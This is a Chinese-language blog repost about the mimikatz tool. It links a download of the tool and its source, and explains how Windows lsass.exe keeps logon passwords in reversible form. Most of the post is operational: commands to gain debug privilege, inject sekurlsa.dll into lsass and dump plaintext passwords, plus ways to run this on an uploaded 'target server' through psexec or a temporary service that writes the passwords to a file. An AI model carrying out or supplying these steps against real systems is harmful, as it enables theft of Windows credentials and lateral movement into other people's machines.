Windows明文密碼抓取 法國神器mimikatz_trunk附源碼

大家都知道的東西吧,滲透測試常用工具。尤其對社工密碼收集來說必備的 法國一個牛B的人寫的輕量級調試器,可以幫助安全測試人員抓取Windows密碼。

mimikatz 最近發佈了它的2.0版本,抓密碼命令更加簡單了,估計作者也看到了對它這個神器最多的研究就是直接抓密碼,爲神馬不發佈一個直接一鍵版,哈哈哈哈哈。新功能還包括能夠通過獲取的kerberos登錄憑據,繞過支持RestrictedAdmin模式的win8或win2012svr的遠程終端(RDP) 的登陸認證。建議默認禁止RestrictedAdmin模式登錄。更多功能等着大家來發現

http://blog.gentilkiwi.com/mimikatz

法國神器mimikatz20141213+源碼 https://www.70sec.com/tools_code/mimikatz.rar

還有一篇用這個神器直接從 lsass.exe 裏獲取windows處於active狀態賬號明文密碼的文章
http://pentestmonkey.net/blog/mi ... asswords-from-lsass

自己嘗試了下用 win2008 r2 x64 來測試

 

最後測試成功 wdigest 就是我的明文密碼 我還測過密碼複雜度在14位以上 包含數字 大小寫字母 特殊字符的密碼 一樣能抓出明文密碼來 以前用 wce.exe 或 lslsass.exe 通常是隻能從內存裏頂多抓出active賬號的 lm hash 和 ntlm hash 但用了這個神器抓出明文密碼後由此我們可以反推斷 在 lsass.exe 裏並不是只存有 lm hash 和 ntlm hash 而已
應該還存在有你的明文密碼經過某種加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的) 這樣這個加密算法是可逆的 能被解密出明文 所以進程注入 lsass.exe 時 所調用的 sekurlsa.dll 應該包含了對應的解密算法 逆向功底比較好的童鞋可以嘗試去逆向分析一下 然後這個神器的功能肯定不僅僅如此 在我看來它更像一個輕量級調試器 可以提升進程權限 注入進程 讀取進程內存等等
下面展示一個 讀取掃雷遊戲的內存的例子
 
我們還可以通過pause命令來掛起該進程 這個時候遊戲的時間就靜止了
 
總之這個神器相當華麗 還有更多能力有待各黑闊們挖掘 =..=~

抓取 lsass.exe 中的用戶明文密碼:

//提升權限
privilege::debug

//注入dll
inject::process lsass.exe sekurlsa.dll

//抓取密碼
@getLogonPasswords

或者直接:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
 


經測試,通殺:
Windows XP (部分可以)
Windows Server 2003
Windows Server 2008
Windows Vista
Windows 7
Windows 7 SP1

貌似只有 Windows 2000 無法使用,最低支持 Windows XP。

不過,2000/xp 可以用以前的 FindPassword ,Windows 2003 - Windows 7 微軟的這個處理機制沒有變。

域也可以,理論上是沒問題的,登錄過都在 lsass.exe 裏面。

原理就是登陸的時候輸入的密碼,經過 lsass.exe 裏的 wdigest 和 tspkg 兩個模塊調用後,它們對之進行加密處理,而沒有進行擦除,而且該加密通過特徵可以定位,並且按照微軟的算法可逆。

只要登陸過,就可以抓出來,它進行枚舉的,這一切都是微軟的錯。

簡單地說,在 Windows 中,當用戶登錄時,lsass.exe 使用一個可逆的算法,加密過的明文密碼,並且把密文保存在內存中,沒有清理,然後可以抓出來,還原。

也就是說,開機以後,只要是登陸過的用戶,在沒重啓前(因爲重啓內存就清零了,這裏不包括使用其他方法清理內存),都可以抓出來,註銷也是無用的,因爲內存中的密碼並沒有清除,所以還是可以抓出來的。

我想微軟可能會出個補丁,清理這塊……

這玩意兒功能還有很多,自己看看參數,例如:ts,是調用 mimikatz.sys 隱藏登陸的終端。

這應該算是密碼泄露,很嚴重的漏洞,估計微軟會出補丁。

看雪已經有詳細的原理分析帖子了,並且還在更新,地址:http://bbs.pediy.com/showthread.php?t=146884

在遠程終端(3389、mstsc.exe)、虛擬桌面中抓取密碼的方法:

通常你在遠程終端中運行該程序會提示:存儲空間不足,無法處理此命令。

這是因爲在終端模式下,不能插入遠線程,跨會話不能注入,你需要使用如下方法執行該程序:

首先提取幾個文件,只抓取密碼的話,只需要這幾個文件:

mimikatz_trunk\tools\PsExec.exe
mimikatz_trunk\Win32\mimikatz.exe
mimikatz_trunk\Win32\sekurlsa.dll

打包後上傳至目標服務器,然後解壓釋放,注意路徑中絕對不能有中文(可以有空格)!否則加載DLL的時候會報錯:找不到文件。

然後使用以下任何一種方法即可抓取密碼:

//最簡單實用的方法,使用 PsExec.exe 啓動。
//在系統帳戶中運行 cmd.exe,或者直接運行 mimikatz.exe
psexec -s cmd.exe
//啓動 mimikatz.exe
C:\mimikatz_trunk\Win32\mimikatz.exe
//提升權限
privilege::debug
//注入dll,要用絕對路徑!並且路徑中絕對不能有中文(可以有空格)!
inject::process lsass.exe "C:\mimikatz_trunk\Win32\sekurlsa.dll"
//抓取密碼
@getLogonPasswords
//退出,不要用 ctrl + c,會導致 mimikatz.exe CPU 佔用達到 100%,死循環。
exit

//*********************************************************

//使用 At 啓動
at ***

//*********************************************************

//創建服務方法
sc create getpassword binpath= "cmd.exe /c c:\xxx\mimikatz.exe < command.txt > password.txt"
sc start getpassword
sc delete getpassword

//*********************************************************

//telnet 遠程命令管道
telnet ****

轉載自https://www.70sec.com/thread-2954-1-1.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章